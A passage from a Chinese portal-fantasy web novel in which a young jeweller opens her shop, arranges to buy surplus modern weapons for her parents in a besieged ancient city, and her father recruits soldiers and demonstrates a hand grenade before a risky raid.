袁淼心里一惊,很快明白了。父母在做最坏的打算。原本一直以来,父亲都不赞成购买现代化热武/器,担心会造成大量伤害。 可如果局势到了最危险的时候,这些就顾不上。 看来,父母对泗阳关的回复并不乐观。 “好……爸爸有没有说具体需要购买哪几种?” 谢云溪摇头。他们也只是未雨绸缪。 确实如袁淼所想,袁博文对泗阳关那边的回信并不看好。 与谢云溪联系完后,袁淼就给楚萧打去了电话。她对现代化热武器知之甚少,但楚萧却是个中发烧友。 接到电话的楚萧并没有过多询问,而是详细介绍了现代化的各种武器。 种类繁多,杀伤力也各不相同。 袁淼想到了晋州的情况,首先要自保,其次是突围。北凉人高大魁梧,尤其善骑。普通刀械对上他们,能起的作用有限。但qiang就不一样了。 还有火/炮。 她把楚萧推崇的几种厉害热武器记了下来,又在网上搜索了相关介绍,打印出来后,传给了谢云溪。 这天也是博云珠宝实体店开张的第一天。与谢云溪联系过后,袁淼就来到了店里。 花篮和横幅已经布置上了。随着太阳升起,店里也热闹了起来。 袁淼在门口招待。看到周晟和唐伟明下车,她连忙过去。 周晟笑吟吟道:“恭喜!” 袁淼:“谢谢!” 周晟四下看了一通,感慨道:“很热闹啊!” 袁淼笑靥如花:“是大家捧场!” 她也没想到会来这么多人。 新店开张,又没什么底蕴,她以为今天会冷场,让岳然安排人手在大街上发了几天传单。 现实的情况是,许是新店酬宾的力度大,还没到剪彩的时间,店里面已经来了不少顾客。 “周总,唐经理里面请!” 看到又有车来,袁淼连忙邀请周晟和唐伟明进去。 周晟回头,看到了好几张熟面孔。 袁淼叫来岳然,让她领着人上去。她看到了陈博川和王振声。这两人非同一般。 一个***办公室主任助理,一个特别事务所的所长,可以说自己有今天,他们尤为重要。 以后的重要性,也不言而喻。 跟周晟道了声歉,袁淼远远就招呼上了。 “陈秘书!王所长!你们来了?谢谢!快请进!” 周晟和唐伟明并没有马上进去。看着跟袁淼说话的两人,周晟皱了皱眉:“这两人是谁?” 唐伟明缓缓摇头,一会后,突然抽了一口冷气:“是他!” 周晟诧异看向唐伟明。唐伟明脸上的平静已经打破了,肉眼可见显得激动。 “周少,袁小姐旁边戴眼睛的那人,好像是***主任办公室秘书长陈博川!” 周晟愣了愣,***主任办公室秘书长!这可是只能在电视和新闻里见到的人物! 他心里一紧:“确定吗?” 唐伟明又定定看了一会,点头:“应该是!去年陪老爷子参加经济座谈会时,我见过他,他当时就坐在孟主任后面!” 周晟的手心出了汗。 袁淼居然跟***主任办公室秘书长这么熟悉?她到底什么来历? 真的只是新江市一个无依无靠的女孩吗? “另一个呢?” 王振声略胖,由于跟袁淼打的交道更多,他们显然更亲近一些。 唐伟明摇头,他觉得不远处的胖子,地位不会比陈秘书长低。 两人一起,陈秘书长要落后半步。 周晟也看出来了。 “淼淼!”他含着笑过去,“有没有我能出力的地方?” 袁淼顿了顿,失笑摇头。她被周晟的称呼惊到。他们虽然吃过一顿饭,但关系好像还没有熟到直呼其名的地步。 “谢谢!都安排好了!周总能来,已经是我的荣幸!” 她邀请众人进去。 周晟跟着旁边,探头招呼:“这位是陈秘书长吧?” 袁淼连忙介绍:“陈秘书,王所长,这位是大福源的周总!” 陈博川和王振声立刻明白了周晟的身份。 大福源姓周,创始人周群的两个儿子都已经上了岁数,孙子们虽然有好几个,但目前在魔都历练的只有一个。 他们相继跟周晟打招呼。 几个人说着话进了店里。周晟觉得眼前一亮,博云珠宝店当中的展柜中竟然陈列着一株足有半人高的红珊瑚。 颜色红艳,灵动通透,造型完美。竟然是前段时间在珠宝展会上掀起大波那株红珊瑚。 那天,他们也参与了红珊瑚的竞标。可惜给出的一亿五千六百万标价最终沉没。 事后,他爷爷直呼可惜。每每想起都要扼腕叹息一番。 没想到竟然落到了袁淼的手上! 能拿出将近两亿购买奢侈品的可不是一般人! 袁淼到底是哪家的千金? “哎?这株红珊瑚……是不是前段时间在珠宝展会上出现的那株?原来被你买走吗?”王振声惊问。 袁淼笑着摇头:“不是那株。” 周晟愣了愣。 陈博川和王振声倒是秒懂。袁淼回答的轻松自如,珠宝展会的那株红珊瑚很有可能也是她的。 一株红珊瑚摆件就卖了将近两亿!差不多的人家还有!上亿的奢侈品就这么摆出来做门店装饰! 袁家属实有钱!背后有个异世界支撑就是不一样! 王振声眼睛里都是感慨。 袁淼带着他们上了楼。 服务员端来饮品。 才说几句话,沈若君匆匆过来。 “袁总,宋记的宋总和嘉世达孙总来了!” 这也是贵客! 陈博川笑着说:“袁总不用招待我们了,去忙吧!” 袁淼只得暂时丢下陈博川等人。 下楼的时候,她对沈若君说:“让人留意,陈秘书和王所长如果要走,及时通知我!” “好的!” 袁淼下了楼,看到了宋颜和孙仕林。 “宋总!孙经理!欢迎欢迎!” 宋颜眉眼微动,但很快掩去了。 “袁小姐的门店选址很好。” 袁淼低头一笑。她已经习惯了宋颜的话术,典型的言不由衷,人却不赖。 “是请王所长帮的忙。陈秘书和王所长今天也来了,就在楼上。” 她知道宋颜认识王振声,至于陈博川,他是**办公室主任秘书长,她能认识这样的人,原本就是宋颜帮忙牵的线。 宋颜果然没有发问,进店后看到迎客展柜中的红珊瑚,他顿了顿:“这株红珊瑚和前段时间珠宝展会的那株是一起的吧?” 袁淼失笑。宋颜的眼光一向毒辣。 “是的!”她如实回答,“宋总可不能把这个发现告诉其他人!” 珠宝展评选环节有规定,采取的是双盲,她也不想让太多人知道手上好东西多。 宋颜瞟了袁淼一眼,没有说话。耳根却有些红了。 今天的袁淼很漂亮,一袭裁剪得体的西装既显得干练,也巧妙勾勒出她完美的身材。 到了楼上,宋颜的出现引起了不小的轰动,宋记不仅是珠宝行业的龙头,在国际上也有不小的影响力。而宋颜,更是众所周知宋记未来的继承人。 许多人都过来打招呼了。 袁淼陪着旁边,脸上的笑恰如其分。她听到有人在猜测博云珠宝跟宋记的关系。今天宋颜的到来就跟往博云珠宝上贴金一样,想必之后圈内人许多都会记住她的博云珠宝。 在二楼周旋了一会,很快到了开张剪彩的时间,袁淼在摄像机的卡卡声中完成这件事情。 忙完这些后,袁淼又找到了陈博川和王振声,踌躇片刻,她问:“陈秘书,王所长,政/府这边热武/器方不方便出售?” 陈博川和王振声对看了一眼。王振声笑着说:“原则上违禁物品是不能交易的,但是你的情况比较特殊。” “是你爸妈需要吧?” “是的!” 王振声想了想:“这样吧,我问一问,到时候给你一个清单。不过,这类物品坚决不能出现在这边!” 他话到最后,严肃冷酷。 袁淼连忙点头,她对触犯/法律一点都不感兴趣了。 陈博川笑着问:“你爸妈最近还好吗?” 袁淼不知道如何回答。对于父母那边的情况,陈博川也知道一点。当时面对面沟通的时候,他也在现场。 “……不是很好。”袁淼实话实说。 身处乱世,怎么可能好的起来? 陈博川点头:“有什么困难,我们能帮得上的,直接说!” 组织上对两个世界的来往很重视,自然也对其中作为纽带的袁淼也很关注。 至于购买热武/器,根本就不需要往上报,这是早就得到了批示的。能处理掉一批已经过时的东西,相关部门求之不得。 袁淼道谢。 陈博川留下了自己的电话。 两人要走了。袁淼连忙拿出礼袋。陈博川和王振声都愣了愣。 袁淼连忙说:“这是我们珠宝店开张酬宾的谢礼!每一位来宾都有!” 陈博川和王振声这才收了。 上了车后,王振声打开礼盒,“哎呦”叫了一声。 陈博川侧头,看到王振声拿出一串项链。细细的银制链子下吊着一颗心形坠子,坠子的周边镶着宝石,中间则是一颗绿色喜人的翡翠,足有指甲盖大小。 “这……这是冰种阳绿翡翠吧?” 陈博川觉得像。 王振声一脸纠结:“这东西是不是要上报?” 陈博川想了想点头。这东西市面上至少要好几千才能买到了,确实过于贵重了。 但在袁淼看来,可能真不算什么。他记得袁博文说过,他所在的北方沔州商州盛产各种宝石。 “小袁新店开张,我打个电话!”王振声一本正经说,“让我爱人也去凑凑人气!” 陈博川不禁笑出声。 70-80 第71章 第71章 挑人 送走陈博川和王振声, 宋颜也走了。周晟也要离开了,他让司机直接驱车来到老宅。 周群正在喝茶。 “你今天不是要去参加博云珠宝店的开张典礼吗?怎么样?人气如何?” 周晟毕恭毕敬:“我刚从那边过来,博云珠宝的开店典礼很热闹, 来了不少人, 他们的酬宾谢礼是一串冰种阳绿翡翠项链!” 周群停了手, 诧异看向周晟。 周晟连忙把礼袋递给周群。 周群戴上眼镜看了看, 脸色变得凝重:“真是冰种阳绿!这手笔不小啊!” 周晟看到袁淼的酬宾谢礼时,也吃了一惊。 如今的翡翠热度虽然大不如前, 但冰种阳绿依旧稀有,虽然只是一个指甲盖般大小挂件,但市场价至少能看到三千元以上了。 即便不是每一位进店的顾客都有,但总共二十份, 依旧不是一个小数目。 前二十进店的宾客是冰种阳绿翡翠项链,二十至前五十的酬宾谢礼则是冰种水沫吊坠。其余进店的宾客也有价值不等酬宾谢礼。 开张前三天办理会员的宾客除了有打折优惠以外, 另外还有小礼物。 酬宾的力度可谓惊人。只这一天,博云珠宝撒出去的钱至少上十万了。 周群看完,默默递给周晟:“唐伟明查到消息,袁淼真的没有其他家人了吗?” 周晟点头:“唐经理亲自去了一趟新江市。” 周群摇头。 亲眼所见, 未必为实。 有能耐的人家想弄个新身份并不是一件难事。 只看博云珠宝今天撒出去的钱,就能知道其底蕴,绝对不是寻常商家能比。 “今天到场祝贺的宾客都有谁?” “有珍宝阁的丛老,凤呈祥的万总……宋颜和孙仕林也去了。” “今天***主任办公室秘书长陈博川也来了!” 周群更惊讶了。 “袁淼跟他很熟,他们关着门说了好一会话, 一起的还有一位王所长……。” 周晟又把王振声形容了一番。 “姓王……王所长……”周群思虑良久, 摇头,周晟的形容跟他知道王姓政/府官员都不相符。 但人既然跟***主任办公室秘书长走在一起,那就不可能是无名之辈。 新入圈的这家博云珠宝背后的水很深, 不管是不是名门世家出身,至少背后有政/府高层的身影,那就很不一般了。 “你跟这位袁小姐很熟吧?” 周晟愣了愣:“……还行。” 周群点头,“你们年龄相仿,是该多来往!有空请她到家里来坐坐。” 长这么大,还是第一次被长辈督促跟某人多来往。 这话里意思再明显不过了。 即便是知道自己和袁淼远不到那种地步,周晟依旧应承了下来。 “……好的,爷爷!” * 送走了所有宾客后,袁淼坐下来揉了揉颈脖,岳然送来今天的业绩。 中规中矩,全天商品销售金额过了七位数,除开成本和今天送出去的酬宾谢礼,略有小赚。 原本,她心里的预期开张第一天能有六位数的收益就算不错。 如今超了,开了一个很好的头。 博云珠宝算是圈内打响了名声。开业酬宾撒出去的谢礼很是值得。 翡翠,她如今不缺。做酬宾谢礼送出去的项链和吊坠都是边角料再利用。工匠部的老师傅觉得可惜,但这些在父母那边完全属废料,她这算是废物利用。所得远超原本价值。 父母那边盛产各种宝石,珠宝行业她是打算长久经营的,所以,名声很重要。 核对好了账,袁淼就回家了。 谢云溪也知道博云珠宝今天开业,早早就等在镜子跟前了。 袁淼说了开业的盛况。谢云溪悬起的心也放了下来。 “很好了!今天虽然只有六七百万的销售,但咱们是新店,只要开好了头,打响名声,以后肯定会越来越好!” 关键是,他们的成本很低。 袁淼送出去的水沫吊坠在这边根本就没人要,是她觉得漂亮,才捡了几块水沫石。 没想到做成吊坠,居然成了价值不菲的奢侈品。 袁淼也赞同:“妈,你还记得我在珍宝阁寄买的那件玉如意吗?” 谢云溪点头:“记得!怎么啦?” 袁淼笑着说:“今天有消息了!” 博云珠宝开业,为打响名声,她广发帖子。让人给珍宝阁的丛老也送了一份。 今天珍宝阁的丛老来了,并且带来了寄卖的消息,她托在那里的玉如意被一位港台富商以二千五百万的出价买走。 “这人不老实!”谢云溪听完,笑着说。 袁淼点头,她也觉得丛老不实在,不早不晚,自己开店找上了门,他才告知玉如意已经出售的消息。 如果自己还是一个名不见经传的小白,他估计会继续装瞎下去,说不定最终昧下都有可能。 人心复杂,以后不能轻信了。 不过,她最终还是按照签订的合同给予了5%的酬谢。只是,以后这种人还是少打交道的为好。 “今天陈秘书和王所长也来了。我问了问武/器销售的事情。” 谢云溪打起了精神:“他们怎么说?” “王所长说,他们会给我一个清单,只要是清单上的物资,都可以卖给我们。” “好!”谢云溪笑了。 有现代化热武器在手,他们的保障又多了一层。 袁博文回来后,谢云溪就把这个消息告诉了他。 袁博文沉默片刻。他一直犹豫,不敢把现代化的热武器用于战场,担心会造成不好的影响。但现在他的感觉并不好。 这几天,他打听过有关霍云泽的消息。武将世家出身,今上能登大宝,霍家出力不少,霍云泽也因此得封为镇北王,镇守北疆一带。霍云泽的女儿如今更是后宫的独一份,只是儿子尚小,上面的皇子不少,且还有皇后所出的嫡子,否则的话,霍家的风头更盛。 谢云溪看出来了,安慰说:“咱们也是未雨绸缪,即便是买到了手,也不一定用。” 袁博文茅塞顿开:“你说的对!” 有没有,和用不用,是两码事。 不过,东西买到手之后,放哪儿却是个问题。 “书房那边的地下室怎么样?”谢云溪想了想问。 袁博文点头,那地下室原本就是连府的密室,他们传给袁淼的八箱珠宝就是在里面找到的。 面积不小,足有二三十平方,关键是很隐秘,位于地下,隔音的效果也很好。 可以改成训练室。 现代化的武器,他只摸过qiang,那还是很久之前的事情。 东西到手之后,他得自己会用,才能教会其他人。 第二天,袁博文就忙开了,弄清楚书房密室情况后,又来到了码头旁边的宅子,很快两边就开始动工改建了。 至于人员,他打算从新兵营挑。知会过关正后,袁博文就来到了新兵营。 新兵营如今的提携周涛原本是袁博文的副官。 他看到了袁博文,连忙过来:“大人!” 袁博文看着训练场上热火朝天的场景,比他那会热闹多了。 入伍的报酬提上来后,征兵已经不再是难事。 “新兵营,如今有多少人?”袁博文问。 “新兵四百,民兵两百,共计六百人。” 袁博文点了点头,递给周涛一张纸:“按照上面的要求,挑五十人给我,守备大人那里,我已经备报。” 周涛接过一看,愣了愣。但他熟知袁博文,搞出来的新东西不少,不用问,这样挑出来的人必有新的用途。 “是!” 袁博文走后,周涛叫来自己的副官黎大山,把袁博文留下的纸给他看。 黎大山问:“袁大人要这样的人干什么?” 周涛看了他一眼:“谁知道?袁大人素来妙法多,他要这些人,肯定有他的用处。他不说,肯定有不说的理由。咱们只管做好事就行。” 黎大山点头。他原来也是袁博文手下的新兵,对他的行事作风有一定了解。 奇思妙法层出不穷,几次扭转了局势。尤其弓弩和□□,堪称神器。 可惜,前几次挑人,他都落选了。要么力气不行,要么身高不够。 这次挑人…… “别的都好说,只识字这一条……” 周涛也觉得袁博文这次提出来的要求有些苛刻。这年头断文识字的人都奔着科举去了,谁会入伍当兵? “先挑吧!袁大人只是说要识字,并没有点明要识多少字,五十人应该能挑出来。” “这两天咱们就把这事敲定吧,不能耽误了袁大人的要事。” 袁博文也想过自己提出来的要求。这次挑出来的人非同小可,他是为现代化武器准备。 现代化的枪/炮之类对个人身体素质的要求并没有冷兵器刀枪剑要求严格。但要教会操作也不是一朝一夕 尤其大家伙,一旦操作不好,造成误伤了可不是一两个人的伤亡。 许多东西,他也没见过,怎么弄,他也不懂,一切只能等东西来了,再照操作说明学习。 所以,识字很重要。 当然,他也知道这里识字的人少。真正断文识字都奔科举去了,少有入伍当兵的。即便是新兵种有识字的,多数可能只上过几天私塾,认识几个字,会算一些简单的账,那也是为了谋生。 这里识文断字需要的成本不少,一般人家供不起。 不过,他要的人并不多。 六百人里面挑五十,应该问题不大。 可惜,三天后,袁博文看到挑出来的人后,傻了眼。 周涛为难说:“大人,您提的这些要求,别的都好说,就识字这一条,整个新兵营也就六七十个,再配合其他要求,实在挑不出来了。” 袁博文看了看列出的名单后:“行吧,辛苦了!” 实情如此,再不满意,也得接受。 周涛走后,袁博文就开始对着名册一一点认了。 黎大山站出来时,他愣了愣。 自己手下的新兵,他还是有印象的。 这青年虽瘦弱,却十分肯吃苦,尤其口才了得,脑子灵活。 算是新兵营里面较突出的人才。 他离开新兵营后,他就提了副官,没想到这次居然站出来了。 当下里袁博文并没有多说。点完名后,就说了规矩,和接下来的安排。 上午识字,下午训练。 说完了话,袁博文就让新兵们散了,单独把黎大山留下来。 “你怎么来了?” 黎大山忐忑笑着:“大人,我……不合格吗?” 袁博文笑了,他提出的要求,识字,视力好,动手能力强,情绪稳定,思想品德过硬等,黎大山都符合。 他只是诧异。黎大山已经是新兵营的副官了,假以时日,再往上升绝对没问题。 可他偏偏要来当个新兵。 “你没问题!不过,我话先说到前头,这次来的人,我不一定会全要,训练过后,会有考核,考核不通过会送回新兵营,到时候回去会面临什么,我可不敢保证!” 黎大山明白了,考核不通过,他不能留下来,回去的时候,新兵营副官一职就不一定是他了。 “我知道!大人放心!” 他最崇拜的就是袁博文,能够在他手下当兵原本就是他的心愿,这次他一定会留下来。 第72章 第 72 章 安排 张青云打开仓库大门, 光线照了进去。 偌大仓库中,一箱箱货物靠墙堆放着,中间的几个庞然大物都罩上厚重的黑灰色幔布, 里面是什么, 外人无从得知。 这里看起来毫不出奇, 实际日夜都有看守着。 这些都是袁淼买到的武器, 属市面上的违禁品。 父母那边场地还没有收拾出来,东西暂时放在她这里。只等那边收拾妥当后, 就传过去。 袁淼走了进去,一一看过,东西与放进去时并无二样。 她并没有揭开幔布,有些东西她过过手, 几乎完全不懂。 但买家很贴心,送货过来的同时, 不仅有操作手册,还有相关视频。 她把操作手册和视频已经传给父亲,另外还有一些小件。 他估计已经忙开了。 现代化武器并不是拿到了,就马上一定会用。 确定无恙后, 袁淼返回博云珠宝。 算了算账,居然这次一下子用掉好几亿。 打战打得就是钱! 她辛苦了几个月赚的钱,一下子用掉将近一半! 这还只是仅仅只是不足百人的装备! 可想而知,如果要装备数千数万人的军队,得需要多大的财力了。 自己挣钱的速度还是太慢了! 袁淼立刻打起了精神。 手上的药材可以再卖一点了, 地下室的金银玉器光放在实体店和网店还是出的太慢, 可以挑几件出来委托给拍卖行了。 嘉世达的孙仕林她有电话,直接跟宋颜联系也不错…… 宋颜那边得挑个时间请他吃顿饭,上次珠宝店开张时, 他就帮了 大忙。 想到这里,袁淼拿过了手机,翻到了宋颜的号码,却并没有打出去。 东西还没挑好。 她想到了地下室的那些臻品,其中有个羊脂白玉马,上次珠宝展没有卖出,这次可以拿出来委托给拍卖行。 这件羊脂白玉,珠宝协会的黄岐山曾经估价二千五百万到三千三百万,但事后她另外请人估价,却是至少四千万。如果在拍卖行卖出,价多半会更高…… * 大帐中,关正抬起头。 袁博文有些紧张:“泗阳关那边怎么说?” 经过大半月的煎熬,贺威等人终于带回了泗阳关的回信。 关正把信递给袁博文,示意他自己看。 袁博文一目十行看完。 “不行!这太危险了!” 信是霍云泽亲笔书写,他得知了晋州守军的坚持,很是赞扬,也说了如今的局势。 朝里朝外事儿不少。当今圣上得闻北凉大军南下,北地数州沦陷,急火攻心病倒,他奉命由北疆转镇守泗阳关,拦住了北凉南下的铁蹄,如今两军算是焦灼。 但要取胜,很是艰难。 如今想要晋州脱困,只有里应外合。他已得知北凉此次南下,重中之重的粮草就安置在涵谷关。 他要关正派人前去毁掉这批物资,泗阳关会给关正创造机会,牵制住关外的北凉大军主力,事后还会派人接应晋州守军。 没有了这批粮草,北凉大军难以支撑继续与大顺对峙,到时候就会返回北凉。 晋州和北地的危机就能解决了。 “简直儿戏!晋州守军加起来才多少人?自保尚且不足,他竟然要我们主动出击,去烧北凉的粮草!” “北凉人都是傻的吗?粮草重地不派人看守?或只少许人看守?等着有人去烧?” 关正让袁博文稍安勿躁:“你先别急!” 袁博文确实少见的怒了。这样的安排,简直就是让晋州的守军去死! 关正眉头紧锁:“晋州撑不了多久了,镇北王此法并不是一无是处。” 袁博文欲言又止。 有女儿身处的现代世界做后盾,晋州想撑多久就可以撑多久。可话出口后,如何圆说。 按照常规,晋州撑到如今已经是强弩之末。数月围困,理应弹尽粮绝。古今中外历史,这时候的晋州应该在吃人了。他们能安稳活着,是因为背后有一个科技发达、丰足平安的现代世界在支撑。 女儿传过来的这些,虽然关正没问,但并不代表他心里没有疑问。自己的海外来源之说,应付一般人还可以,但糊弄不了真正了解这个世界的人。 晋州不可能永远独立于这个世界之外,他拿出的东西迟早要面临人们的疑惑。 太过惊骇,必定会招来无尽麻烦。 “明明一无是处,拿我们晋州的人命不当数!” 虽吞下了心里的秘密,但袁博文依旧愤愤不平。 关正被他逗得一笑:“往日总是你劝我冷静,今日倒是反过来了。” 袁博文被他这么一打岔,清醒了一点,但依旧坚持:“此法不通! 关正顿了片刻后:“我倒是觉得可以一试,晋州不能这样下去了。” 袁博文又急了:“你知道涵谷关那边有多少北凉人吗?既是粮草重地,必然重重守卫!咱们总共才多少人?即便是全部出动,也未必能成!” 北凉大军这次南下,号称十万铁骑,主力一路南推,几乎势如破竹,即便是有折损,那也不会很多。 一边打,一边抢,带路党必定也有,说不定人还多了。 粮草物资重地的防范可想而知人不会少。 而晋州目前能参战的总兵力不过两千人!外围重重包围之下,还不能把兵全部都带走了。 否则,晋州数万百姓就危了。 关正点头:“所以,我打算带五百人出发,剩下的留给你。” 袁博文愣住。 什么叫剩下的留给他? 关正拍了拍袁博文肩膀:“我走后,晋州就交给你了。” 袁博文急了:“你要想清楚,咱们不能轻举妄动!” 带五百人出发,去烧北凉大军的粮草。这跟送死有什么区别? 如今的北地几乎全落入北凉手中,许是他们一出城,就会被盯上。 别说烧粮草了,能不能到涵谷关都两说! 关正笑了:“你来之前,我就已经想过了。晋州交给你,我放心!” 袁博文一时无语,情急之下,声音都比平时高了不少:“即便要去,那也是我去!你留下!” 他有现代化武器在手,成功的概率比这里每一个都要高。 虽然只有四五十人,训练还在模拟阶段,但应该没问题。 关正摆手:“你虽有急智,但论打战的经验,还是我远胜你。” 袁博文说了好一通,也没能令关正改变主意。 他怏怏回了家。 “怎么了?这是?”谢云溪觉得奇怪,今日出门时心情不错,回来却成霜打的茄子。 “泗阳关来信了。” 谢云溪心里一紧。 终于来了。 “怎么说?是霍云泽的回信吗?” 袁博文叹了口气,点头:“他要我们去毁掉北凉在涵谷关的粮草。” 谢云溪愣了愣。 涵谷关到这里可不是近距离,即便是急行,两三天也还是要的。这样长途跋涉过去,行吗? “关正答应了?” “我劝不住。霍云泽这是把我们晋州守军放在火上烤。” 即便侥幸万一成功,晋州也落不到好,北凉人盛怒之下,怎么可能会放过晋州? 谢云溪拍了拍袁博文的手:“他到底是朝廷命官,上峰有令,他能不听吗?” 袁博文叹了口气。这里并不是现代。封建王权的熏陶下的武将跟他们的想法是不一样的。 军令如山! 这件事情很快在军中传开,各营主将也都知道了。 安排很快就定下来了,对此,众人虽有忧虑,却都接受了。至于关正走后,晋州由袁博文全管一事,大家也没有异议。 事有先例,关正受伤,卧床不起的那段时间,晋州原本就是袁博文在代管。 诸事派下后,众人京@墨@筝@狸各自忙开了。袁博文留了下来。 关正笑着说:“你这副样子,是觉得我安排的不妥吗?” 袁博文依旧皱着眉头:“你既然要去,我也无话可说。” “我身边的副将商泽,素来骁勇,而且前不久才跟贺威出去过,对外面情况颇有了解,你带上他吧。” “行!” 袁博文起身:“走,到我营帐去一趟!” 关正笑了:“又弄什么玄虚?” 到了袁博文营帐中,商泽正在里面忙,接到了袁博文的眼色,立刻出去,守在营帐之外。 袁博文拿出一件东西,对关正说:“这是我早年在海外侥幸得到的一件防护衣,能防刀砍剑伤,这次你穿上吧。” 关正愣了愣,见是一件小衣,随即笑了:“这……用不着吧,我那副甲胄也不错。” “我这个不一样!” “不信,你试试。” 关正见他说得这么肯定,随即拿出匕首,看向袁博文。 袁博文点头,示意他尽管试。 关正捅了捅,见防护衣一点痕迹都没有,吃了一惊。又重力拉划了几下,依旧没有留下痕迹。 他眼睛亮了,抖开看了看。 “这东西怎么做的?你有多少?” 军中常备军械之中,甲胄是重中之重,因其不仅制作繁杂,也最是费钱。寻常士兵几乎没有,只有一定官阶的将士才会配备。平时也十分爱护。 关正的甲胄就是有专人在管。他身形魁梧,甲胄也比一般将士的要重,寻常人一只手都不一定能拧起来。 但他现在手上的东西不仅轻盈,而且防护能力并不亚于甲胄。 袁博文催促关正穿上:“不多,就两件。我弄到手也十分不容易。也琢磨过到底是怎么做出来的,但没琢磨明白。” 关正穿上了,有点小。 第73章 第 73 章 交待 这件防护衣原本是袁淼按照袁博文的尺寸定做。关正比袁博文高大, 自然不如他穿着合适。 穿上后,关正又试了试,一脸惊奇:“真是好东西!” 袁博文早就知道了。 “颈脖和腿脚要注意防范。” 这件防护衣较长, 袁博文穿上, 能护到大腿, 但到关正身上, 却只能护到腰臀。 袁博文犹豫了许久,才决定拿出来。 他知道自己一旦拿出防护衣, 一定会面临更多的猜测和打探。关正还好,其他人就没那么好打发了。 这年头甲胄比其他军械稀罕多了。私藏刀兵不一定会获罪,但私自拥有一定数量的甲胄,那就是大罪。 防护衣虽然不是甲胄, 但功能类同,且更轻便适用, 套句宝衣的称谓毫不过分。 好东西觊觎的人多得去了,因此丢了性命也不知道有多少。 他不喜欢麻烦。但希望关正能活下来。 “回来后,记得还给我!” 关正笑着说:“你怎地这么小气?” 他已经爱不释手了。 “我也就两件!” “行行行!我回来了一定还你!你说这东西,到底怎么做出来的?是布帛吗?” 袁博文看过说明书, 含糊道:“应该不是。” 给了防护衣,袁博文又带着关正来到泗水河边。 两名士兵抬着一个箱子已经等在那里了。 袁博文让人开了箱子,里面是一枚枚手/榴/弹。他拿了一个出来。 “这东西叫手雷,里面是硝石……和一些其他东西,跟烟花爆竹差不多, 但炸开的威力不小……” 关正丈二摸不着头脑, 拿了一个踮了踮。 袁博文连忙制止:“小心点!” 他赶紧拿过来,顿了顿后,投向已经结冰的河面, 又拉着关正一起卧倒。 “砰!”一声巨响,冰渣和河水四溅,河面上多了一个大窟窿。 关正始料未及,被炸懵了。 袁博文爬起来,过去看了看。 可以走人的冰河被炸开的窟窿,半径足有两三米,威力波及的范围高达二三十米。 关正晃了晃头,也过来看了看,脸色一下子变了,不由得咽了咽口水。 好家伙!这东西要是在人群里炸开,可不得放倒一大片! 袁博文递了一个给关正:“你试试。” 关正虽兴奋不已,却不敢乱来了,小心翼翼接过。 可以走人的冰河都被炸得稀碎,人可远不如冰河坚固。 “这样拿……对……拉开……扔出去!越远越好!” 随着两人的投掷,两声巨响随后响起。 袁博文看了看情况。 不亏是行武出身,关正投出去的距离明显比他要远。 关正麻溜来到袁博文旁边,眼睛发亮:“这东西你是怎么弄出来的?有多少?” 这玩意要是扔到北凉的骑兵中,那场景绝对壮观! “不多!就那一点!” 其实,并不是。袁博文不仅让袁淼买了枪/支弹/药,还买了重型武器和车。 但现代化武器太过骇人,他只让袁淼传了少量过来。 关正已经喜不自胜了,拍了拍袁博文的肩膀。 那一箱足有二三十个,放倒百来个北凉人不成问题! “我以前囤过烟花爆竹,炸了两次,最厉害的一次,还伤了几个人……这东西跟烟花爆竹差不多。” 关正并没有多想,烟花爆竹易炸,炸伤人炸死人,他都听说过。只是没想到还能搞出这么个好东西。 “这东西非同小可,出其不意才能发挥意想不到的效果!” “这次你出去,把这个带上!” “千万不能落入北凉人手上!” 关正笑道:“你只管放心!” 他又不是个傻子,怎么可能让这样的好东西落到北凉人手上? 袁博文还想交待,话到嘴边,又咽了下去。 这次,只要关正用了手/榴/弹,这东西就瞒不住了。 好在,烟花爆竹已经出现,事后有人追究,可以往这上面扯。 “这是……开关!只要不动……这个开关,一般情况不会炸开。动了之后,你在心里默数五下,它就会爆炸。” “所以,一定要注意!要想不伤到自己人,扔的距离远近很重要。” 关正连连点头。 手榴弹不多,只有二三十个,他虽然手痒,但也舍不得多次练习。 “商泽会用吗?” “会。” 关正心里有数了。 把东西抬回去后,他一个人摸索了良久。 袁博文回了府邸。 “我把我的防护衣给关正了。” 谢云溪愣了愣:“那我让淼淼再给你买一件。” 袁博文点了点头。 谢云溪知道他还在担心,安慰说:“这一趟出去虽然凶险,但关正并不傻。而且,有泗阳关的人配合和接应,想必问题不大。” 袁博文舒了一口气。也只能如此想了。 很快到集结的人员要出城的时间。关正挑了夜间行动。 子时刚过,晋州守军突然对城外北凉大军发动了攻击,一时间喊杀震天。 北凉人的营地中喧闹起来。 他们以为围困多日,晋州城里的人终于按耐不住了。 这是他们期盼了许久的事情。他们在这座名不见经传的小城下屡次落败,数千人伤亡,属实大恨。 绝对不能让他们脱困! 晋州守军的攻击遭到了反扑,不得已又退了回来。 晋州城墙上灯火如龙,箭如雨下,接应了出城的晋州守军。 北凉人并没有乘胜追,他们已经有经验,知道晋州守军的弓/弩厉害。硬拼并不明智。眼前的孤城已经乱了。他们只需要守在城外,等待最后的收割时刻来到。 袁博文站在城墙上,望着城墙下不远处严阵以待的北凉大军。 谷雨匆匆过来,低声回话:“大人,守备大人已经过河!” 袁博文抬眸,回望城池的另一边。 夜幕下山水寂静,能看清的地方并不远。 但他知道关正已经在泗水河的另一边了。 * 袁淼下了车。眼前的别墅像一座城堡,门口的草坪足有四五百坪。 站在门口的台阶上,能看到大江环绕下的魔都。 风景和视野都很好。 但价格也惊人。 看过房子里面后,袁淼又在院子里转了一圈。这是以后她常待的地方,得有个游泳池,可以锻炼身体。花坛的树也得移种几棵枝繁叶茂。 “奶奶,您有事吗?” 听到声音,袁淼抬起头。有个头发皆白的老人,正往院子里探头探脑。 沈若君觉得奇怪,正在询问。 “你们看到我家小宝了吗?”老奶奶问。 “小宝?”沈若君摇头,“没有……” 她显然不知道老人询问的小宝是什么。 袁淼也觉得奇怪。买下这里别墅时,中介介绍过,这里是魔都最好的小区,位于半山腰,不仅地段好,其他方面也过硬,居住在这里的人非富即贵。一般人进不来。 老人一脸失望,蹒跚着到处寻找。 袁淼心里一动,走过去问道:“奶奶,您在找小宝?” 老人气质很好,即便脸上皱纹不少,依旧能看出年轻时候是个美人。但明显神态有点不对。 她点点头:“对啊,小姑娘,你看到我们家小宝吗?” 只一句话,袁淼就发现了端详:“小宝是您……孙子吧?” 老人高兴点头:“对啊,你怎么知道的?” 怎么知道的?那是因为她有一个同样的奶奶。 袁淼鼻子一酸,越发温柔:“你孙子多大了?上学了吗?” “上了呀!我们家小宝读书可厉害了!” “在哪儿上学?您有学校老师的联系方式吗?” 